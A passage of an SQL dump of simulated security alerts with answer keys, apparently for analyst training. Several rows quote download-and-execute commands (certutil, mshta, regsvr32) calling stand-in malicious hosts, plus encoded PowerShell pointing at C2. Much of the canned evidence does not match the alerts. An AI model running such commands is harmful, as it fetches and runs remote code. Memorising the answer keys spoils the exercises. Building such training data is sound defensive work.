payload\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Certutil was used to download a known malicious payload, indicating potential compromise via LOLBin techniques.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.951Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"malware_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.951Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"malware_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.951Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"malware_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.951Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"malware_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.951Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"malware_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1411, 'Cozy Bear Phishing Campaign Detected', 'high', 'Proofpoint', 'A spear-phishing email with a malicious attachment was detected, resembling tactics used by Cozy Bear.', 'Phishing', 'T1566.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T11:12:48Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.50\",\"dst_ip\":\"10.0.1.100\",\"username\":\"jane.smith\",\"hostname\":\"email-server\",\"email_sender\":\"cozybear@example.com\",\"domain\":\"example.com\",\"attachment_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"cozybear@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Email address linked to known phishing activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious attachment\"}}],\"expected_actions\":[\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a malicious attachment and sender details consistent with Cozy Bear phishing tactics. Immediate action is required to prevent compromise.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Cozy Bear Phishing Campaign Detected\",\"date\":\"2026-03-02T13:55:06.952Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1412, 'APT29 Zero-Day Exploit Detected in SWIFT Environment', 'critical', 'Splunk', 'Anomalies indicating a zero-day exploit were detected in the SWIFT transaction servers, likely linked to APT29.', 'Zero-Day', 'T1214', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T08:05:37Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.45\",\"dst_ip\":\"192.168.3.10\",\"username\":\"swift_operator\",\"hostname\":\"swift-server01\",\"domain\":\"finance.local\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP potentially compromised via zero-day exploit\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"finance.local\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Systems\",\"verdict\":\"internal\",\"details\":\"Internal domain for SWIFT operations\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"zero_day_exploit\",\"analysis_notes\":\"The network activity suggests exploitation using a zero-day vulnerability, consistent with APT29 tactics. Immediate containment is necessary.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.953Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:05:37Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.45\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"swift_operator\\\",\\\"hostname\\\":\\\"swift-server01\\\",\\\"domain\\\":\\\"finance.local\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.953Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:05:37Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.45\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"swift_operator\\\",\\\"hostname\\\":\\\"swift-server01\\\",\\\"domain\\\":\\\"finance.local\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.953Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:05:37Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.45\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"swift_operator\\\",\\\"hostname\\\":\\\"swift-server01\\\",\\\"domain\\\":\\\"finance.local\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.953Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:05:37Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.45\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"swift_operator\\\",\\\"hostname\\\":\\\"swift-server01\\\",\\\"domain\\\":\\\"finance.local\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.953Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:05:37Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.45\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"swift_operator\\\",\\\"hostname\\\":\\\"swift-server01\\\",\\\"domain\\\":\\\"finance.local\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1413, 'Data Exfiltration Using Legitimate Cloud Services', 'critical', 'CrowdStrike', 'Data exfiltration to a GitHub repository detected, using legitimate cloud services to evade detection.', 'Data Exfil', 'T1567', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T06:55:18Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.75\",\"dst_ip\":\"140.82.113.3\",\"username\":\"data_analyst\",\"hostname\":\"data-server\",\"domain\":\"github.com\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP transmitting data externally\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"github.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"GitHub used for data exfiltration in past cases\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Using GitHub for data exfiltration is a tactic to fly under the radar by leveraging legitimate services. Immediate investigation is required.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1414, 'APT28 Supply Chain Attack Detected', 'critical', 'Wazuh', 'Indicators of a supply chain attack were found, potentially impacting financial software updates.', 'Supply Chain', 'T1195', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T07:42:27Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.5.55\",\"username\":\"software_update\",\"hostname\":\"update-server\",\"command_line\":\"mshta.exe http://malicious-updates.com/update.hta\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server executing malicious update script\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-updates.com/update.hta\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosting malicious HTA file used in supply chain attacks\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"mshta.exe http://malicious-updates.com/update.hta\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"mshta used to execute malicious HTML application\"}}],\"expected_actions\":[\"block_url\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"supply_chain\",\"analysis_notes\":\"The use of mshta to execute a malicious script from a known bad URL indicates a supply chain attack, likely impacting software integrity.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.957Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T07:42:27Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.55\\\",\\\"username\\\":\\\"software_update\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"command_line\\\":\\\"mshta.exe http://malicious-updates.com/update.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.957Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T07:42:27Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.55\\\",\\\"username\\\":\\\"software_update\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"command_line\\\":\\\"mshta.exe http://malicious-updates.com/update.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.957Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T07:42:27Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.55\\\",\\\"username\\\":\\\"software_update\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"command_line\\\":\\\"mshta.exe http://malicious-updates.com/update.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.957Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T07:42:27Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.55\\\",\\\"username\\\":\\\"software_update\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"command_line\\\":\\\"mshta.exe http://malicious-updates.com/update.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.957Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T07:42:27Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.55\\\",\\\"username\\\":\\\"software_update\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"command_line\\\":\\\"mshta.exe http://malicious-updates.com/update.hta\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1415, 'Lazarus Group Trading Fraud Detected', 'critical', 'Firewall', 'Anomalous trading activities detected, consistent with known Lazarus Group financial fraud operations.', 'Trading Fraud', 'T1210', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T10:25:14Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.6.30\",\"dst_ip\":\"172.16.0.10\",\"username\":\"trader.bob\",\"hostname\":\"trade-station01\",\"domain\":\"stock.exchange.local\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.6.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in suspicious trading activities\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"stock.exchange.local\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Systems\",\"verdict\":\"internal\",\"details\":\"Internal domain for trading operations\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"fraud\",\"analysis_notes\":\"The detected anomalies match patterns of Lazarus Group\'s known financial fraud activities. Immediate investigation and containment required.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1416, 'APT41 Spear-Phishing Attack with Encoded PowerShell Command', 'critical', 'Proofpoint', 'A spear-phishing email targeting the HR department was detected. The email contained a macro-enabled Excel document with an encoded PowerShell command leading to a C2 domain.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T10:15:30Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.1.2.45\",\"username\":\"j.doe@financecorp.com\",\"hostname\":\"HR-Desktop-07\",\"email_sender\":\"hr-support@external.com\",\"command_line\":\"powershell.exe -enc W3Bhc3N3b3JkID0gJ1Bhc3N3b3JkMTIzJyA7IFtzeXN0ZW0uTmV0LlNlcnZpY2VzLkRucENsaWVudF0uR2V0SG9zdEJ5TmFtZSgnY21kLmRvbWFpbi5jb20nKS5BZGRyZXNz\"}', '2026-03-02 03:14:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 112 times for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"hr-support@external.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Domain associated with previous phishing campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -enc W3Bhc3N3b3JkID0gJ1Bhc3N3b3JkMTIzJyA7IFtzeXN0ZW0uTmV0LlNlcnZpY2VzLkRucENsaWVudF0uR2V0SG9zdEJ5TmFtZSgnY21kLmRvbWFpbi5jb20nKS5BZGRyZXNz\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded command leading to potential C2 communication\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email was identified as a spear-phishing attempt due to the encoded PowerShell command targeting internal HR systems.\"}', 'Advanced', 'MAL', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"APT41 Spear-Phishing Attack with Encoded PowerShell Command\",\"date\":\"2026-03-02T13:55:06.962Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1417, 'Lazarus Group Lateral Movement via LOLBins', 'high', 'Wazuh', 'Detected usage of regsvr32 for executing a malicious script internally, indicating lateral movement attempts by Lazarus Group.', 'Lateral Movement', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T08:45:21Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.1.3.25\",\"dst_ip\":\"10.1.3.30\",\"username\":\"service.admin\",\"hostname\":\"Finance-Server-03\",\"command_line\":\"regsvr32 /s /n /u /i:http://malicious-site.com/script.sct scrobj.dll\"}', '2026-03-02 03:14:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.3.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the source machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.3.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the destination machine\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"regsvr32 /s /n /u /i:http://malicious-site.com/script.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command associated with malicious activity for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Usage of regsvr32 to execute scripts is a known technique for lateral movement, matching patterns used by Lazarus Group.\"}', 'Advanced', 'MAL', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.963Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.1.3.25\\\",\\\"dst_ip\\\":\\\"10.1.3.30\\\",\\\"username\\\":\\\"service.admin\\\",\\\"hostname\\\":\\\"Finance-Server-03\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://malicious-site.com/script.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.963Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.1.3.25\\\",\\\"dst_ip\\\":\\\"10.1.3.30\\\",\\\"username\\\":\\\"service.admin\\\",\\\"hostname\\\":\\\"Finance-Server-03\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://malicious-site.com/script.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.963Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.1.3.25\\\",\\\"dst_ip\\\":\\\"10.1.3.30\\\",\\\"username\\\":\\\"service.admin\\\",\\\"hostname\\\":\\\"Finance-Server-03\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://malicious-site.com/script.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.963Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.1.3.25\\\",\\\"dst_ip\\\":\\\"10.1.3.30\\\",\\\"username\\\":\\\"service.admin\\\",\\\"hostname\\\":\\\"Finance-Server-03\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://malicious-site.com/script.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.963Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.1.3.25\\\",\\\"dst_ip\\\":\\\"10.1.3.30\\\",\\\"username\\\":\\\"service.admin\\\",\\\"hostname\\\":\\\"Finance-Server-03\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://malicious-site.com/script.sct scrobj.dll\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1418, 'APT29 Data Exfiltration via Encoded Powershell', 'critical', 'CrowdStrike', 'APT29\'s stealthy data exfiltration attempt using encoded PowerShell commands to communicate with an external C2 server.', 'Data Exfil', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T12:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.2.4.15\",\"dst_ip\":\"203.0.113.56\",\"username\":\"analyst.dave\",\"hostname\":\"Trade-Workstation-12\",\"command_line\":\"powershell.exe -enc UwBvAHUAcgBjAGUAPQBoAHQAdABwADoALwAvAGMAbQBkAC4AZABvAG0AYQBpAG4ALgBjAG8AbQAvAGMAbwBtAG0AYQBuAGQALgBwAHMAMwA=\",\"domain\":\"cmd.domain.com\"}', '2026-03-02 03:14:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known C2 infrastructure for APT29\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc UwBvAHUAcgBjAGUAPQBoAHQAdABwADoALwAvAGMAbQBkAC4AZABvAG0AYQBpAG4ALgBjAG8AbQAvAGMAbwBtAG0AYQBuAGQALgBwAHMAMwA=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of data 